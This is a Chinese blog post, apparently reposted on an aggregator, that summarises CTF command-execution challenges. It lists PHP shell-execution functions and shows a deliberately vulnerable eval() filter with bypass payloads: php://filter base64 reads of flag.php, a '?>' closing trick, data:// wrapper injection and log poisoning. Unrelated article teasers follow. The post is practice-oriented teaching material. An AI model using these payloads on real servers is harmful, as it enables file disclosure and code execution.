CTF命令执行部分总结

news2024/11/6 3:38:34

😋大家好,我是YAy_17,是一枚爱好网安的小白,正在自学ing。

本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️

⭐️此后如竟没有炬火,我便是唯一的光。⭐️

关于CTF中的命令执行部分的题目以及常见的绕过方式,做以下的总结,仅仅是自己在做题的过程中学习到的知识,可能不太全面,或者是有许多的错误,还恳请各位师傅及时指出,谢谢!

常见的命令执行函数

exec()、system()、passthru()、pcntl_exec()、shell_exec() 、反引号` 、shell_exec()函数

exec()函数

该函数只返回最后一行的结果:

测试代码:

<?php
    echo exec('ping 127.0.0.1');
?>

system()函数

system函数:逐行返回数据;

<?php
    echo system('ping 127.0.0.1');
?>

passthru()函数

<?php
    echo passthru('ping 127.0.0.1');
?>

shell_exec()

<?php
    echo shell_exec('ping 127.0.0.1');
?>

反引号` 

反引号的效果和shell_exec是一样的;

<?php
    echo `ping 127.0.0.1`;
?>

<?php
    $payload = `whoami`;
    echo "{$payload}";
?>

nl命令 

nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号,nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。

echo `nl flag.php`;

命令执行+文件包含

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
?>

命令执行还可以配合文件包含,对于上述的题目,我们可以使用include、require等文件包含函数进行绕过;

c=include($_GET[x]);&x=php://filter/read=convert.base64-encode/resource=flag.php

那么如果上述的正则表达式中添加(和;在这种情况下对于分号的绕过还可以使用?>来闭合

c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php
if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
}

针对强制添加后缀名的绕过,可以使用data伪协议(参数污染)

data://text/plain;base64,<?php phpinfo()?>(语句要经过base64编码)

还可以通过包含日志文件,观察日志文件中的数据,通过抓包修改对应的信息,从而达到拿shell的目的;

if(!preg_match("/flag/i", $c)){
        include($c.".php");
}

上面的这种情况便是强制性的加上了php的后缀名,便可以使用data://text/plain。这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1322379.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

selenium自动化webdriver下载及安装

1、确认浏览器的版本 在浏览器的地址栏&#xff0c;输入chrome://version/&#xff0c;回车后即可查看到对应版本 2、找到对应的chromedriver版本 2.1 114及之前的版本可以通过点击下载chromedriver,根据版本号&#xff08;只看大版本&#xff09;下载对应文件 2.2 116版本通过…

大模型评估中Pass@k值是如何计算的

在前面的博客中分别介绍了大模型评估过程不同指标的含义&#xff0c;以及如何通过代码&#xff0c;实现指标的收集。如果对如何运行代码生成结果和收集passk指标不清楚&#xff0c;可以参考这两篇博客。 如何对大模型进行评估上 如何对大模型进行评估下 Passk的来源 代码的生…

低代码软件开发的革命

一、前言 如果一个概念能在科技圈火起来&#xff0c;它往往兼具字面简明和内涵丰富的特征&#xff0c;并具有某种重塑产业格局的潜力。低代码&#xff08;Low Code&#xff09;就是这样一个典型。顾名思义&#xff0c;低代码是指少用代码&#xff0c;甚至不用代码&#xff0c;仅…

大学生可以自学嵌入式开发吗?

今日话题&#xff0c;大学生可以自学嵌入式开发吗&#xff1f;大学期间完全可以自学嵌入式开发&#xff0c;但这需要极大的毅力和耐心。嵌入式学习的过程可能会让你感到自卑&#xff0c;但也能带来无限成就感。嵌入式开发伴随着一系列问题&#xff0c;这些问题既是挑战也是机会…

Nodejs 第二十六章(反向代理)

什么是反向代理? 反向代理&#xff08;Reverse Proxy&#xff09;是一种网络通信模式&#xff0c;它充当服务器和客户端之间的中介&#xff0c;将客户端的请求转发到一个或多个后端服务器&#xff0c;并将后端服务器的响应返回给客户端。 负载均衡&#xff1a;反向代理可以根…

在Python中使用Kafka帮助我们处理数据

Kafka是一个分布式的流数据平台&#xff0c;它可以快速地处理大量的实时数据。Python是一种广泛使用的编程语言&#xff0c;它具有易学易用、高效、灵活等特点。在Python中使用Kafka可以帮助我们更好地处理大量的数据。本文将介绍如何在Python中使用Kafka简单案例。 一、安装K…

2023 英特尔On技术创新大会直播 | AI 融合发展之旅

前言 2023 年的英特尔 On 技术创新大会中国站&#xff0c;主要聚焦最新一代增强 AI 能力的计算平台&#xff0c;深度讲解如何支持开放、多架构的软件方案&#xff0c;以赋能人工智能并推动其持续发展。 大会的目标之一是优化系统并赋能开发者&#xff0c;特别注重芯片增强技术…

火柴棍等式c语言

分析&#xff1a;我们可以枚举等式&#xff0c;在判断这些等式是由多少根火柴组成&#xff0c;在把火柴数量和之前输入的比较&#xff0c;如果相等&#xff0c;那么就统计一次&#xff0c;注意的是等号和加号需要减去四根。 #include <stdio.h> int f(int a){//判断某一…

国产划片机品牌众多,如何选择优质的供应商?

在半导体行业的发展浪潮中&#xff0c;划片机作为关键设备之一&#xff0c;其性能和质量对于生产过程的高效性和产品的质量具有至关重要的影响。近年来&#xff0c;国产划片机的品牌数量不断增多&#xff0c;为半导体行业提供了更多的选择。然而&#xff0c;如何从众多的品牌中…

sourcetree 无效的源路径 细节提示:系统找不到指定的文件

工具–>选项–>git 直接下拉到底 点击红框&#xff0c;重新下载一个内嵌git就可以了 我感觉是因为改变了原有git安装路径的问题

病案管理的定义、流程及应用分析

病案管理是指针对病人的基本信息&#xff0c;病历&#xff0c;就诊记录等进行收集、整理、存储、分析和应用的一项管理工作。它在医院、医疗机构和医疗行业中具有重要的作用&#xff0c;能够提高医疗服务的质量、效率和安全性。本文将就病案管理的定义、流程以及其在医疗健康领…

超实用的Web兼容性测试经验总结,建议Mark

在日常工作中&#xff0c;我们经常碰到网页不兼容的问题。我们之所以要做兼容性测试&#xff0c;目的在于保证待测试项目在不同的操作系统平台上正常运行。 主要包括待测试项目能在同一操作系统平台的不同版本上正常运行&#xff1b;待测试项目能与相关的其他软件或系统的“和…

Halcon深度学习方法

1、异常检测和全局上下文异常检测 图(1)异常检测示例 在图(1)上图中&#xff0c;异常检测示例&#xff1a;为输入图像的每个像素都分配一个分数&#xff0c;表明它显示未知特征(即异常)的可能性&#xff1b;在图(1)下图中&#xff0c;全局上下文异常检测示例&#xff1a;为输入…

浅谈云性能测试的关键要点

随着云计算的广泛应用&#xff0c;云性能测试成为确保云服务质量和性能的关键环节。云性能测试不仅涵盖了传统性能测试的方面&#xff0c;还需要考虑云环境的特殊性。以下是云性能测试的几个关键要点&#xff1a; 1. 模拟真实云环境 云环境具有虚拟化、弹性扩展等特点&#xff…

Python基础教程——最详细python安装库的方法(安装pygame库为例)!

Python安装库方法大全&#xff08;以安装pygame库为例&#xff09; 方法一、在pycharm内部直接安装【直接上图】 第一种方法安装不了就用第二种 如果显示package pygame &#xff08;库名&#xff09; install successfully 到此第一种方法结束恭喜你安装成功 如果报了错那就…

Python---进程

1. 进程的介绍 在Python程序中&#xff0c;想要实现多任务可以使用进程来完成&#xff0c;进程是实现多任务的一种方式。 2. 进程的概念 一个正在运行的程序或者软件就是一个进程&#xff0c;它是操作系统进行资源分配的基本单位&#xff0c;也就是说每启动一个进程&#xf…

德人合科技 | 防止公司电脑文件数据资料外泄,自动智能透明加密保护系统

【透明加密软件】——防止公司电脑文件数据资料防止外泄&#xff0c;自动智能透明加密保护内部核心文件、文档、图纸、源代码、音视频等资料&#xff01; PC端访问地址&#xff1a; www.drhchina.com &#x1f31f; 核心功能&#xff1a; 透明加密&#xff1a;采用高级加密算…

telnet的交互原理(wireshark分析)

telnet的交互原理&#xff08;wireshark篇&#xff09; telnet的协议类型是tcp&#xff0c;他的密钥用的是明文的&#xff0c;容易被捕获&#xff0c;所以后来的windows基本弃用了telnet服务端但依然保留了客户端。 下面是他的交互抓包&#xff1a; 这里面的前三条运用的是tc…

如何通过控制台排查定位EasyTsdb

过去我们发现EasyTsdb占用磁盘较大&#xff0c;但我们却不能直接看到哪个模型占用空间多&#xff1f;更不可能知道是哪个指标数据量大&#xff1f; 当EasyTsdb负载高时&#xff0c;我们无法定位当时哪个模型或者哪个请求占用了资源&#xff0c;也不知道是从什么时候开始出现高…

net6使用StackExchangeRedis实现分布式缓存

上一篇讲解了Redis的搭建及ServiceStack.Redis 与 StackExchange.Reids 的区别https://blog.csdn.net/qq_39569480/article/details/105249607 这篇文章遗我们来说下使用Microsoft.Extensions.Caching.StackExchangeRedis来对redis进行操作及帮助类。 首先在windows上安装red…